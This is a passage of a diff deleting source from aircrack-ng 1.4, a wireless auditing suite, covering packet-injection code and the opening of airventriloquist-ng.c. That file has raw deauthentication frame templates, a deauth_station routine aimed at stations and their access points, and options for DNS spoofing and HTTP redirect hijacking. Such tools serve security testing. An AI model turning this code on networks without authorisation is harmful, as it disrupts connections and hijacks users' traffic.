-			   "%s.\n",
-			   argv[optind]);
-	}
-	else
-	{
-		printf("WEP encryption by PRGA specified. No reception, only sending "
-			   "frames through %s.\n",
-			   argv[optind]);
-	}
-
-	if (opt.tods == 1)
-	{
-		printf("ToDS bit set in all frames.\n");
-	}
-	else if (opt.tods == 2)
-	{
-		printf("ToDS and FromDS bit set in all frames (WDS/Bridge) - ");
-		if (opt.bidir)
-		{
-			printf("bidirectional mode\n");
-		}
-		else
-		{
-			printf("unidirectional mode\n");
-		}
-	}
-	else
-	{
-		printf("FromDS bit set in all frames.\n");
-	}
-
-	for (;;)
-	{
-		if (opt.s_file != NULL)
-		{
-			n = sizeof(pkh);
-
-			if (fread(&pkh, n, 1, dev.f_cap_in) != 1)
-			{
-				printf("Finished reading input file %s.\n", opt.s_file);
-				opt.s_file = NULL;
-				continue;
-			}
-
-			if (dev.pfh_in.magic == TCPDUMP_CIGAM)
-			{
-				SWAP32(pkh.caplen);
-				SWAP32(pkh.len);
-			}
-
-			n = caplen = pkh.caplen;
-
-			if (n <= 0 || n > (int) sizeof(h80211))
-			{
-				printf("Finished reading input file %s.\n", opt.s_file);
-				opt.s_file = NULL;
-				continue;
-			}
-
-			if (fread(h80211, n, 1, dev.f_cap_in) != 1)
-			{
-				printf("Finished reading input file %s.\n", opt.s_file);
-				opt.s_file = NULL;
-				continue;
-			}
-
-			if (dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER)
-			{
-				if (h80211[7] == 0x40)
-					n = 64;
-				else
-					n = *(int *) (h80211 + 4);
-
-				if (n < 8 || n >= (int) caplen) continue;
-
-				memcpy(tmpbuf, h80211, caplen);
-				caplen -= n;
-				memcpy(h80211, tmpbuf + n, caplen);
-			}
-
-			if (dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR)
-			{
-				/* remove the radiotap header */
-
-				n = *(unsigned short *) (h80211 + 2);
-
-				if (n <= 0 || n >= (int) caplen) continue;
-
-				memcpy(tmpbuf, h80211, caplen);
-				caplen -= n;
-				memcpy(h80211, tmpbuf + n, caplen);
-			}
-
-			if (dev.pfh_in.linktype == LINKTYPE_PPI_HDR)
-			{
-				/* remove the PPI header */
-
-				n = le16_to_cpu(*(unsigned short *) (h80211 + 2));
-
-				if (n <= 0 || n >= (int) caplen) continue;
-
-				/* for a while Kismet logged broken PPI headers */
-				if (n == 24
-					&& le16_to_cpu(*(unsigned short *) (h80211 + 8)) == 2)
-					n = 32;
-
-				if (n <= 0 || n >= (int) caplen) continue;
-
-				memcpy(tmpbuf, h80211, caplen);
-				caplen -= n;
-				memcpy(h80211, tmpbuf + n, caplen);
-			}
-
-			if (opt.repeat)
-			{
-				if (memcmp(opt.f_bssid, NULL_MAC, 6) != 0)
-				{
-					switch (h80211[1] & 3)
-					{
-						case 0:
-							memcpy(bssid, h80211 + 16, 6);
-							break;
-						case 1:
-							memcpy(bssid, h80211 + 4, 6);
-							break;
-						case 2:
-							memcpy(bssid, h80211 + 10, 6);
-							break;
-						default:
-							memcpy(bssid, h80211 + 10, 6);
-							break;
-					}
-					if (memcmp(opt.f_netmask, NULL_MAC, 6) != 0)
-					{
-						if (is_filtered_netmask(bssid)) continue;
-					}
-					else
-					{
-						if (memcmp(opt.f_bssid, bssid, 6) != 0) continue;
-					}
-				}
-				send_packet(h80211, caplen);
-			}
-
-			packet_recv(h80211, caplen);
-			msleep(1000 / opt.r_nbpps);
-			continue;
-		}
-
-		FD_ZERO(&read_fds);
-		FD_SET(dev.fd_in, &read_fds);
-		FD_SET(ti_fd(dev.dv_ti), &read_fds);
-		ret_val = select(
-			MAX(ti_fd(dev.dv_ti), dev.fd_in) + 1, &read_fds, NULL, NULL, NULL);
-		if (ret_val < 0) break;
-		if (ret_val > 0)
-		{
-			if (FD_ISSET(ti_fd(dev.dv_ti), &read_fds))
-			{
-				len = ti_read(dev.dv_ti, buffer, sizeof(buffer));
-				if (len > 0)
-				{
-					packet_xmit(buffer, len);
-				}
-			}
-			if (FD_ISSET(dev.fd_in, &read_fds))
-			{
-				len = read_packet(buffer, sizeof(buffer));
-				if (len > 0)
-				{
-					packet_recv(buffer, len);
-				}
-			}
-		} // if( ret_val > 0 )
-	} // for( ; ; )
-
-	ti_close(dev.dv_ti);
-
-	/* that's all, folks */
-
-	return (0);
-}

aircrack-ng-1.4.tar.gz/src/airventriloquist-ng.c Deleted

@@ -1,2581 +0,0 @@
-/*
- *  802.11 injection attacks
- *
- *  Copyright (C) 2015 Tim de Waal
- *
- *  This program is free software; you can redistribute it and/or modify
- *  it under the terms of the GNU General Public License as published by
- *  the Free Software Foundation; either version 2 of the License, or
- *  (at your option) any later version.
- *
- *  This program is distributed in the hope that it will be useful,
- *  but WITHOUT ANY WARRANTY; without even the implied warranty of
- *  MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
- *  GNU General Public License for more details.
- *
- *  You should have received a copy of the GNU General Public License
- *  along with this program; if not, write to the Free Software
- *  Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301, USA
- *
- *  In addition, as a special exception, the copyright holders give
- *  permission to link the code of portions of this program with the
- *  OpenSSL library under certain conditions as described in each
- *  individual source file, and distribute linked combinations
- *  including the two.
- *  You must obey the GNU General Public License in all respects
- *  for all of the code used other than OpenSSL. *  If you modify
- *  file(s) with this exception, you may extend this exception to your
- *  version of the file(s), but you are not obligated to do so. *  If you
- *  do not wish to do so, delete this exception statement from your
- *  version. *  If you delete this exception statement from all source
- *  files in the program, then also delete it here.
- */
-
-#if defined(linux)
-#include <linux/rtc.h>
-#endif
-
-#include <sys/types.h>
-#include <sys/socket.h>
-#include <sys/ioctl.h>
-#include <sys/wait.h>
-#include <sys/time.h>
-
-#include <netinet/in.h>
-#include <arpa/inet.h>
-#include <unistd.h>
-#include <dirent.h>
-#include <signal.h>
-#include <string.h>
-#include <stdint.h>
-#include <stdlib.h>
-#include <stdio.h>
-#include <errno.h>
-#include <time.h>
-#include <getopt.h>
-
-#include <fcntl.h>
-#include <ctype.h>
-
-#include <limits.h>
-
-#include <netinet/in_systm.h>
-#include <netinet/ip.h>
-#include <netinet/tcp.h>
-#include <arpa/inet.h>
-
-#include <fnmatch.h>
-#include <stdbool.h>
-
-#include "version.h"
-#include "pcap.h"
-#include "aircrack-osdep/osdep.h"
-#include "crypto.h"
-#include "aircrack-util/common.h"
-#include "ieee80211.h"
-#include "aircrack-osdep/radiotap/radiotap_iter.h"
-#include "airventriloquist-ng.h"
-
-#define RTC_RESOLUTION 8192
-
-#define REQUESTS 30
-#define MAX_APS 20
-
-#define NEW_IV 1
-#define RETRY 2
-#define ABORT 3
-
-#define DEAUTH_REQ                                                             \
-	"\xC0\x00\x3A\x01\xCC\xCC\xCC\xCC\xCC\xCC\xBB\xBB\xBB\xBB\xBB\xBB"         \
-	"\xBB\xBB\xBB\xBB\xBB\xBB\x00\x00\x07\x00"
-
-#define AUTH_REQ                                                               \
-	"\xB0\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"         \
-	"\xBB\xBB\xBB\xBB\xBB\xBB\xB0\x00\x00\x00\x01\x00\x00\x00"
-
-#define ASSOC_REQ                                                              \
-	"\x00\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"         \
-	"\xBB\xBB\xBB\xBB\xBB\xBB\xC0\x00\x31\x04\x64\x00"
-
-#define REASSOC_REQ                                                            \
-	"\x20\x00\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"         \
-	"\xBB\xBB\xBB\xBB\xBB\xBB\xC0\x00\x31\x04\x64\x00\x00\x00\x00\x00\x00\x00"
-
-#define NULL_DATA                                                              \
-	"\x48\x01\x3A\x01\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"         \
-	"\xBB\xBB\xBB\xBB\xBB\xBB\xE0\x1B"
-
-#define RTS "\xB4\x00\x4E\x04\xBB\xBB\xBB\xBB\xBB\xBB\xCC\xCC\xCC\xCC\xCC\xCC"
-
-#define RATES "\x01\x04\x02\x04\x0B\x16\x32\x08\x0C\x12\x18\x24\x30\x48\x60\x6C"
-
-#define PROBE_REQ                                                              \
-	"\x40\x00\x00\x00\xFF\xFF\xFF\xFF\xFF\xFF\xCC\xCC\xCC\xCC\xCC\xCC"         \
-	"\xFF\xFF\xFF\xFF\xFF\xFF\x00\x00"
-
-#define RATE_NUM 12
-
-#define RATE_1M 1000000
-#define RATE_2M 2000000
-#define RATE_5_5M 5500000
-#define RATE_11M 11000000
-
-#define RATE_6M 6000000
-#define RATE_9M 9000000
-#define RATE_12M 12000000
-#define RATE_18M 18000000
-#define RATE_24M 24000000
-#define RATE_36M 36000000
-#define RATE_48M 48000000
-#define RATE_54M 54000000
-
-int bitrates[RATE_NUM] = {RATE_1M,
-						  RATE_2M,
-						  RATE_5_5M,
-						  RATE_6M,
-						  RATE_9M,
-						  RATE_11M,
-						  RATE_12M,
-						  RATE_18M,
-						  RATE_24M,
-						  RATE_36M,
-						  RATE_48M,
-						  RATE_54M};
-
-char * progname = NULL;
-
-char usage[]
-	= "\n"
-	  "  %s - (C) 2015 Tim de Waal\n"
-	  "  https://www.aircrack-ng.org\n"
-	  "\n"
-	  "  usage: airventriloquist-ng [options]\n"
-	  "\n"
-	  "      -i <replay interface>   : Interface to listen and inject on\n"
-	  "      -d | --deauth           : Send active deauths to encrypted "
-	  "stations\n"
-	  "      -e | --essid <value>    : ESSID of target network \n"
-	  "      -p | --passphrase <val> : WPA Passphrase of target network\n"
-	  "      -c | --icmp             : Respond to all ICMP frames (Debug)\n"
-	  "      -n | --dns              : IP to resolve all DNS queries to\n"
-	  "      -s | --hijack <URL>     : URL to look for in HTTP requests\n"
-	  "                                <URL> can have wildcards\n"
-	  "                                   eg: *jquery*.js*\n"
-	  "      -r | --redirect <URL>   : URL to redirect to\n"
-	  "      -v | --verbose          : Verbose output\n"
-	  "      --help                  : This super helpful message\n"
-	  "\n"
-	  "\n";
-
-struct options
-{
-	u_int8_t f_bssid[6];
-	u_int8_t f_dmac[6];
-	u_int8_t f_smac[6];
-	int f_minlen;
-	int32_t f_maxlen;
-	int f_type;
-	int f_subtype;
-	int f_tods;
-	int f_fromds;
-	int f_iswep;
-
-	int r_nbpps;
-	u_int8_t r_bssid[6];
-	u_int8_t r_dmac[6];
-	u_int8_t r_smac[6];
-	u_int8_t r_dip[4];
-	u_int8_t r_sip[4];
-	char r_essid[33];
-	char r_smac_set;
-
-	char ip_out[16]; // 16 for 15 chars + \x00
-	char ip_in[16];
-	int port_out;
-	int port_in;
-
-	char * iface_out;
-	char * s_face;
-	char * s_file;
-	uint8_t * prga;
-
-	int a_mode;
-	int a_count;
-	int a_delay;
-	int f_retry;
-
-	int prgalen;
-
-	int delay;
-	int npackets;
-
-	int ignore_negative_one;
-	int rtc;
-
-	int reassoc;
-	char flag_icmp_resp;
-	char flag_http_hijack;
-	char flag_dnsspoof;
-	char deauth;
-	char flag_verbose;
-	char * p_redir_url;
-	char * p_redir_pkt_str;
-	char * p_hijack_str;
-	unsigned long p_dnsspoof_ip;
-
-	// Copied from airdecap
-	int decap_no_convert;
-	char essid[36];
-	char passphrase[65];
-	u_int8_t decap_bssid[6];
-	u_int8_t pmk[40];
-	u_int8_t decap_wepkey[64];
-	int decap_weplen, crypt;
-	int decap_store_bad;
-
-	struct WPA_ST_info * st_1st;
-	struct WPA_ST_info * st_cur;
-	struct WPA_ST_info * st_prv;
-} opt;
-
-struct devices
-{
-	int fd_in, arptype_in;
-	int fd_out, arptype_out;
-	int fd_rtc;
-
-	u_int8_t mac_in[6];
-	u_int8_t mac_out[6];
-
-	int is_wlanng;
-	int is_hostap;
-	int is_madwifi;
-	int is_madwifing;
-	int is_bcm43xx;
-
-	FILE * f_cap_in;
-
-	struct pcap_file_header pfh_in;
-} dev;
-
-static struct wif *_wi_in, *_wi_out;
-
-struct ARP_req
-{
-	u_int8_t * buf;
-	int hdrlen;
-	int len;
-};
-
-struct APt
-{
-	u_int8_t set;
-	u_int8_t found;
-	u_int8_t len;
-	u_int8_t essid[255];
-	u_int8_t bssid[6];
-	u_int8_t chan;
-	unsigned int ping[REQUESTS];
-	int pwr[REQUESTS];
-};
-
-struct APt ap[MAX_APS];
-
-unsigned long nb_pkt_sent;
-u_int8_t h80211[4096];
-u_int8_t tmpbuf[4096];
-u_int8_t srcbuf[4096];
-char strbuf[512];
-
-int ctrl_c, alarmed;
-
-char * iwpriv;
-
-static int set_bitrate(struct wif * wi, int rate)
-{
-	int i, newrate;
-
-	if (wi_set_rate(wi, rate)) return 1;
-
-	//    if( reset_ifaces() )
-	//        return 1;
-
-	// Workaround for buggy drivers (rt73) that do not accept 5.5M, but 5M
-	// instead
-	if (rate == 5500000 && wi_get_rate(wi) != 5500000)
-	{
-		if (wi_set_rate(wi, 5000000)) return 1;
-	}
-
-	newrate = wi_get_rate(wi);
-	for (i = 0; i < RATE_NUM; i++)
-	{
-		if (bitrates[i] == rate) break;
-	}
-	if (i == RATE_NUM) i = -1;
-	if (newrate != rate)
-	{
-		if (i != -1)
-		{
-			if (i > 0)
-			{
-				if (bitrates[i - 1] >= newrate)
-				{
-					printf(
-						"Couldn't set rate to %.1fMBit. (%.1fMBit instead)\n",
-						(rate / 1000000.0),
-						(wi_get_rate(wi) / 1000000.0));
-					return 1;
-				}
-			}
-			if (i < RATE_NUM - 1)
-			{
-				if (bitrates[i + 1] <= newrate)
-				{
-					printf(
-						"Couldn't set rate to %.1fMBit. (%.1fMBit instead)\n",
-						(rate / 1000000.0),
-						(wi_get_rate(wi) / 1000000.0));
-					return 1;
-				}
-			}
-			return 0;
-		}
-		printf("Couldn't set rate to %.1fMBit. (%.1fMBit instead)\n",
-			   (rate / 1000000.0),
-			   (wi_get_rate(wi) / 1000000.0));
-		return 1;
-	}
-	return 0;
-}
-
-static int send_packet(void * buf, u_int32_t count)
-{
-	struct wif * wi = _wi_out; /* XXX globals suck */
-	u_int8_t * pkt = (u_int8_t *) buf;
-
-	// setting sequence numbers... Don' want to do this for our purposes...
-	// One main reason for this is because IF this is an encrypted frame
-	// then the sequence number is used in the encryption, so changing it here
-	// will break it. It won't be able to be decrypted...
-	/*
-	if( (count > 24) && (pkt[1] & 0x04) == 0 && (pkt[22] & 0x0F) == 0)
-	{
-		pkt[22] = (nb_pkt_sent & 0x0000000F) << 4;
-		pkt[23] = (nb_pkt_sent & 0x00000FF0) >> 4;
-	}
-	*/
-
-	if ((count > 24))
-	{
-		// Set the duration...
-		pkt[2] = 0x3A;
-		pkt[3] = 0x01;
-
-		// Reset Retry Flag
-		pkt[1] = pkt[1] & ~0x4;
-	}
-
-	if (wi_write(wi, buf, count, NULL) == -1)
-	{
-		switch (errno)
-		{
-			case EAGAIN:
-			case ENOBUFS:
-				printf("Hey, ENOBUFS happened\n");
-				usleep(10000);
-				return 0; /* XXX not sure I like this... -sorbo */
-		}
-
-		perror("wi_write()");
-		return -1;
-	}
-
-	nb_pkt_sent++;
-	return 0;
-}
-
-static int read_packet(void * buf, u_int32_t count, struct rx_info * ri)
-{
-	struct wif * wi = _wi_in; /* XXX */
-	int rc;
-
-	rc = wi_read(wi, buf, count, ri);
-	if (rc == -1)
-	{
-		switch (errno)
-		{
-			case EAGAIN:
-				return 0;
-		}
-
-		perror("wi_read()");
-		return -1;
-	}
-
-	return rc;
-}
-
-static int wait_for_beacon(uint8_t * bssid, uint8_t * capa, char * essid)
-{
-	int len = 0, chan = 0, taglen = 0, tagtype = 0, pos = 0;
-	uint8_t pkt_sniff[4096];
-	struct timeval tv, tv2;
-	char essid2[33];
-
-	gettimeofday(&tv, NULL);
-	while (1)
-	{
-		len = 0;
-		while (len < 22)
-		{
-			len = read_packet(pkt_sniff, sizeof(pkt_sniff), NULL);
-
-			gettimeofday(&tv2, NULL);
-			if (((tv2.tv_sec - tv.tv_sec) * 1000000)
-					+ (tv2.tv_usec - tv.tv_usec)
-				> 10000 * 1000) // wait 10sec for beacon frame
-			{
-				return -1;
-			}
-			if (len <= 0) usleep(1);
-		}
-		if (!memcmp(pkt_sniff, "\x80", 1))
-		{
-			pos = 0;
-			taglen = 22; // initial value to get the fixed tags parsing started
-			taglen += 12; // skip fixed tags in frames
-			do
-			{
-				pos += taglen + 2;
-				tagtype = pkt_sniff[pos];
-				taglen = pkt_sniff[pos + 1];
-			} while (tagtype != 3 && pos < len - 2);
-
-			if (tagtype != 3) continue;
-			if (taglen != 1) continue;
-			if (pos + 2 + taglen > len) continue;
-
-			chan = pkt_sniff[pos + 2];
-
-			if (essid)
-			{
-				pos = 0;
-				taglen
-					= 22; // initial value to get the fixed tags parsing started
-				taglen += 12; // skip fixed tags in frames
-				do
-				{
-					pos += taglen + 2;
-					tagtype = pkt_sniff[pos];
-					taglen = pkt_sniff[pos + 1];
-				} while (tagtype != 0 && pos < len - 2);
-
-				if (tagtype != 0) continue;
-				if (taglen <= 1)
-				{
-					if (bssid != NULL && memcmp(bssid, pkt_sniff + 10, 6) == 0)
-						break;
-					else
-						continue;
-				}
-				if (pos + 2 + taglen > len) continue;
-
-				if (taglen > 32) taglen = 32;
-
-				if ((pkt_sniff + pos + 2)[0] < 32 && bssid != NULL
-					&& memcmp(bssid, pkt_sniff + 10, 6) == 0)
-				{
-					break;
-				}
-
-				/* if bssid is given, copy essid */
-				if (bssid != NULL && memcmp(bssid, pkt_sniff + 10, 6) == 0
-					&& strlen(essid) == 0)
-				{
-					memset(essid, 0, 33);
-					memcpy(essid, pkt_sniff + pos + 2, taglen);
-					break;
-				}
-
-				/* if essid is given, copy bssid AND essid, so we can handle
-				 * case insensitive arguments */
-				if (bssid != NULL && memcmp(bssid, NULL_MAC, 6) == 0
-					&& strncasecmp(essid, (char *) pkt_sniff + pos + 2, taglen)
-						   == 0
-					&& strlen(essid) == (unsigned) taglen)
-				{
-					memset(essid, 0, 33);
-					memcpy(essid, pkt_sniff + pos + 2, taglen);
-					memcpy(bssid, pkt_sniff + 10, 6);
-					printf("Found BSSID \"%02X:%02X:%02X:%02X:%02X:%02X\" to "
-						   "given ESSID \"%s\".\n",
-						   bssid[0],
-						   bssid[1],
-						   bssid[2],
-						   bssid[3],
-						   bssid[4],
-						   bssid[5],
-						   essid);
-					break;
-				}
-
-				/* if essid and bssid are given, check both */
-				if (bssid != NULL && memcmp(bssid, pkt_sniff + 10, 6) == 0
-					&& strlen(essid) > 0)
-				{
-					memset(essid2, 0, 33);
-					memcpy(essid2, pkt_sniff + pos + 2, taglen);
-					if (strncasecmp(essid, essid2, taglen) == 0
-						&& strlen(essid) == (unsigned) taglen)
-						break;
-					else
-					{
-						printf("For the given BSSID "
-							   "\"%02X:%02X:%02X:%02X:%02X:%02X\", there is an "
-							   "ESSID mismatch!\n",
-							   bssid[0],
-							   bssid[1],
-							   bssid[2],
-							   bssid[3],
-							   bssid[4],
-							   bssid[5]);
-						printf(
-							"Found ESSID \"%s\" vs. specified ESSID \"%s\"\n",
-							essid2,
-							essid);
-						printf("Using the given one, double check it to be "
-							   "sure its correct!\n");
-						break;
-					}
-				}
-			}
-		}
-	}
-
-	if (capa) memcpy(capa, pkt_sniff + 34, 2);
-
-	return chan;
-}
-
-/**
-	if bssid != NULL its looking for a beacon frame
-*/
-static int
-attack_check(uint8_t * bssid, char * essid, uint8_t * capa, struct wif * wi)
-{
-	int ap_chan = 0, iface_chan = 0;
-
-	iface_chan = wi_get_channel(wi);
-
-	if (iface_chan == -1 && !opt.ignore_negative_one)
-	{
-		PCT;
-		printf("Couldn't determine current channel for %s, you should either "
-			   "force the operation with --ignore-negative-one or apply a "
-			   "kernel patch\n",
-			   wi_get_ifname(wi));
-		return -1;
-	}
-
-	if (bssid != NULL)
-	{
-		ap_chan = wait_for_beacon(bssid, capa, essid);
-		if (ap_chan < 0)
-		{
-			PCT;
-			printf("No such BSSID available.\n");
-			return -1;
-		}
-		if ((ap_chan != iface_chan)
-			&& (iface_chan != -1 || !opt.ignore_negative_one))
-		{
-			PCT;
-			printf("%s is on channel %d, but the AP uses channel %d\n",
-				   wi_get_ifname(wi),
-				   iface_chan,
-				   ap_chan);
-			return -1;
-		}
-	}
-
-	return 0;
-}
-
-static int getnet(uint8_t * capa, int filter, int force)
-{
-	u_int8_t * bssid;
-
-	if (filter)
-		bssid = opt.f_bssid;
-	else
-		bssid = opt.r_bssid;
-
-	if (memcmp(bssid, NULL_MAC, 6))
-	{
-		PCT;
-		printf("Waiting for beacon frame (BSSID: "
-			   "%02X:%02X:%02X:%02X:%02X:%02X) on channel %d\n",
-			   bssid[0],
-			   bssid[1],
-			   bssid[2],
-			   bssid[3],
-			   bssid[4],
-			   bssid[5],
-			   wi_get_channel(_wi_in));
-	}
-	else if (strlen(opt.r_essid) > 0)
-	{
-		PCT;
-		printf("Waiting for beacon frame (ESSID: %s) on channel %d\n",
-			   opt.r_essid,
-			   wi_get_channel(_wi_in));
-	}
-	else if (force)
-	{
-		PCT;
-		if (filter)
-		{
-			printf("Please specify at least a BSSID (-b) or an ESSID (-e)\n");
-		}
-		else
-		{
-			printf("Please specify at least a BSSID (-a) or an ESSID (-e)\n");
-		}
-		return (1);
-	}
-	else
-		return 0;
-
-	if (attack_check(bssid, opt.r_essid, capa, _wi_in) != 0)
-	{
-		if (memcmp(bssid, NULL_MAC, 6))
-		{
-			if (strlen(opt.r_essid) == 0 || opt.r_essid[0] < 32)
-			{
-				printf("Please specify an ESSID (-e).\n");
-			}
-		}
-
-		if (!memcmp(bssid, NULL_MAC, 6))
-		{
-			if (strlen(opt.r_essid) > 0)
-			{
-				printf("Please specify a BSSID (-a).\n");
-			}
-		}
-		return (1);
-	}
-
-	return 0;
-}
-
-static int get_ip_port(char * iface, char * ip, const int ip_size)
-{
-	char * host;
-	char * ptr;
-	int port = -1;
-	struct in_addr addr;
-
-	host = strdup(iface);
-	if (!host) return -1;
-
-	ptr = strchr(host, ':');
-	if (!ptr) goto out;
-
-	*ptr++ = 0;
-
-	if (!inet_aton(host, (struct in_addr *) &addr))
-		goto out; /* XXX resolve hostname */
-
-	if (strlen(host) > 15)
-	{
-		port = -1;
-		goto out;
-	}
-	strncpy(ip, host, ip_size);
-	port = atoi(ptr);
-	if (port <= 0) port = -1;
-
-out:
-	free(host);
-	return port;
-}
-
-static int tcp_test(const char * ip_str, const short port)
-{
-	int sock, i;
-	struct sockaddr_in s_in;
-	int packetsize = 1024;
-	u_int8_t packet[packetsize];
-	struct timeval tv, tv2, tv3;
-	int caplen = 0;
-	int times[REQUESTS];
-	int min, avg, max, len;
-	struct net_hdr nh;
-
-	tv3.tv_sec = 0;
-	tv3.tv_usec = 1;
-
-	memset(&s_in, 0, sizeof(struct sockaddr_in));
-	s_in.sin_family = PF_INET;
-	s_in.sin_port = htons(port);
-	if (!inet_aton(ip_str, &s_in.sin_addr)) return -1;
-
-	if ((sock = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1)
-		return -1;
-
-	/* avoid blocking on reading the socket */
-	if (fcntl(sock, F_SETFL, O_NONBLOCK) < 0)
-	{
-		perror("fcntl(O_NONBLOCK) failed");
-		close(sock);
-		return (1);
-	}
-
-	gettimeofday(&tv, NULL);
-
-	while (1) // waiting for relayed packet
-	{
-		if (connect(sock, (struct sockaddr *) &s_in, sizeof(s_in)) == -1)
-		{
-			if (errno != EINPROGRESS && errno != EALREADY)
-			{
-				perror("connect");
-				close(sock);
-
-				printf("Failed to connect\n");
-
-				return -1;
-			}
-		}
-		else
-		{
-			gettimeofday(&tv2, NULL);
-			break;
-		}
-
-		gettimeofday(&tv2, NULL);
-		// wait 3000ms for a successful connect
-		if (((tv2.tv_sec * 1000000 - tv.tv_sec * 1000000)
-			 + (tv2.tv_usec - tv.tv_usec))
-			> (3000 * 1000))
-		{
-			printf("Connection timed out\n");
-			close(sock);
-			return (-1);
-		}
-		usleep(10);
-	}
-
-	PCT;
-	printf("TCP connection successful\n");
-
-	// trying to identify airserv-ng
-	memset(&nh, 0, sizeof(nh));
-	//     command: GET_CHAN
-	nh.nh_type = 2;
-	nh.nh_len = htonl(0);
-
-	if (send(sock, &nh, sizeof(nh), 0) != sizeof(nh))
-	{
-		perror("send");
-		close(sock);
-		return -1;
-	}
-
-	gettimeofday(&tv, NULL);
-	i = 0;
-
-	while (1) // waiting for GET_CHAN answer
-	{
-		caplen = read(sock, &nh, sizeof(nh));
-
-		if (caplen == -1)
-		{
-			if (errno != EAGAIN)
-			{
-				perror("read");
-				close(sock);
-				return -1;
-			}
-		}
-
-		if ((unsigned) caplen == sizeof(nh))
-		{
-			len = ntohl(nh.nh_len);
-			if (nh.nh_type == 1 && i == 0)
-			{
-				i = 1;
-				caplen = read(sock, packet, len);
-				if (caplen == len)
-				{
-					i = 2;
-					break;
-				}
-				else
-				{
-					i = 0;
-				}
-			}
-			else
-			{
-				caplen = read(sock, packet, len);
-			}
-		}
-
-		gettimeofday(&tv2, NULL);
-		// wait 1000ms(1sec) for an answer
-		if (((tv2.tv_sec * 1000000 - tv.tv_sec * 1000000)
-			 + (tv2.tv_usec - tv.tv_usec))
-			> (1000 * 1000))
-		{
-			break;
-		}
-		if (caplen == -1) usleep(10);
-	}
-
-	if (i == 2)
-	{
-		PCT;
-		printf("airserv-ng found\n");
-	}
-	else
-	{
-		PCT;
-		printf("airserv-ng NOT found\n");
-	}
-
-	close(sock);
-
-	for (i = 0; i < REQUESTS; i++)
-	{
-		if ((sock = socket(s_in.sin_family, SOCK_STREAM, IPPROTO_TCP)) == -1)
-			return -1;
-
-		/* avoid blocking on reading the socket */
-		if (fcntl(sock, F_SETFL, O_NONBLOCK) < 0)
-		{
-			perror("fcntl(O_NONBLOCK) failed");
-			close(sock);
-			return (1);
-		}
-
-		usleep(1000);
-
-		gettimeofday(&tv, NULL);
-
-		while (1) // waiting for relayed packet
-		{
-			if (connect(sock, (struct sockaddr *) &s_in, sizeof(s_in)) == -1)
-			{
-				if (errno != EINPROGRESS && errno != EALREADY)
-				{
-					perror("connect");
-					close(sock);
-
-					printf("Failed to connect\n");
-
-					return -1;
-				}
-			}
-			else
-			{
-				gettimeofday(&tv2, NULL);
-				break;
-			}
-
-			gettimeofday(&tv2, NULL);
-			// wait 1000ms for a successful connect
-			if (((tv2.tv_sec * 1000000 - tv.tv_sec * 1000000)
-				 + (tv2.tv_usec - tv.tv_usec))
-				> (1000 * 1000))
-			{
-				break;
-			}
-			// simple "high-precision" usleep
-			select(1, NULL, NULL, NULL, &tv3);
-		}
-		times[i] = ((tv2.tv_sec * 1000000 - tv.tv_sec * 1000000)
-					+ (tv2.tv_usec - tv.tv_usec));
-		printf("\r%d/%d\r", i, REQUESTS);
-		fflush(stdout);
-		close(sock);
-	}
-
-	min = INT_MAX;
-	avg = 0;
-	max = 0;
-
-	for (i = 0; i < REQUESTS; i++)
-	{
-		if (times[i] < min) min = times[i];
-		if (times[i] > max) max = times[i];
-		avg += times[i];
-	}
-	avg /= REQUESTS;
-
-	PCT;
-	printf("ping %s:%d (min/avg/max): %.3fms/%.3fms/%.3fms\n",
-		   ip_str,
-		   port,
-		   min / 1000.0,
-		   avg / 1000.0,
-		   max / 1000.0);
-
-	return 0;
-}
-
-// TODO: this function is hacked together, It should be cleaned up
-// Need to use wfrm (ieee80211_frame struct instead of just a buffer)
-static int deauth_station(struct WPA_ST_info * st_cur)
-{
-	if (memcmp(st_cur->stmac, NULL_MAC, 6) != 0)
-	{
-		/* deauthenticate the target */
-
-		memcpy(h80211, DEAUTH_REQ, 26);
-		memcpy(h80211 + 16, st_cur->bssid, 6);
-
-		int i;
-		for (i = 0; i < 5; i++)
-		{
-			PCT;
-			printf("Sending 5 directed DeAuth. STMAC:"
-				   " [%02X:%02X:%02X:%02X:%02X:%02X] \r",
-				   st_cur->stmac[0],
-				   st_cur->stmac[1],
-				   st_cur->stmac[2],
-				   st_cur->stmac[3],
-				   st_cur->stmac[4],
-				   st_cur->stmac[5]);
-
-			memcpy(h80211 + 4, st_cur->stmac, 6);
-			memcpy(h80211 + 10, st_cur->bssid, 6);
-
-			if (send_packet(h80211, 26) < 0) return (1);
-
-			// usleep(2000);
-
-			// Send deauth to the AP...
-			memcpy(h80211 + 4, st_cur->bssid, 6);
-			memcpy(h80211 + 10, st_cur->stmac, 6);
-
-			if (send_packet(h80211, 26) < 0) return (1);
-			// Usually this is where we would wait for an ACK, but we need to
-			// get back
-			// to capturing packets to get the EAPOL 4 way handshake
-		}
-		return (0);
-	}
-
-	return (0);
-}
-
-// Shameless copy from tshark/wireshark?
-static void hexDump(char * desc, void * addr, int len)
-{
-	int i;
-	u_int8_t buff[17];
-	u_int8_t * pc = (u_int8_t *) addr;
-
-	// Output description if given.
-	if (desc != NULL) printf("%s:\n", desc);
-
-	// Process every byte in the data.
-	for (i = 0; i < len; i++)
-	{
-		// Multiple of 16 means new line (with line offset).
-		if ((i % 16) == 0)
-		{
-			// Just don't print ASCII for the zeroth line.
-			if (i != 0) printf("  %s\n", buff);
-
-			// Output the offset in Hex.
-			printf("  %04x ", i);
-		}
-
-		// Now the hex code for the specific character.
-		printf(" %02x", pc[i]);
-
-		// And store a printable ASCII character for later.
-		if ((pc[i] < 0x20) || (pc[i] > 0x7e))
-			buff[i % 16] = '.';
-		else
-			buff[i % 16] = pc[i];
-		buff[(i % 16) + 1] = '\0';
-	}
-
-	// Pad out last line if not exactly 16 characters.
-	while ((i % 16) != 0)
-	{
-		printf("   ");
-		i++;
-	}
-
-	// And print the final ASCII bit.
-	printf("  %s\n", buff);
-	return;
-}
-
-/* calcsum - used to calculate IP and ICMP header checksums using
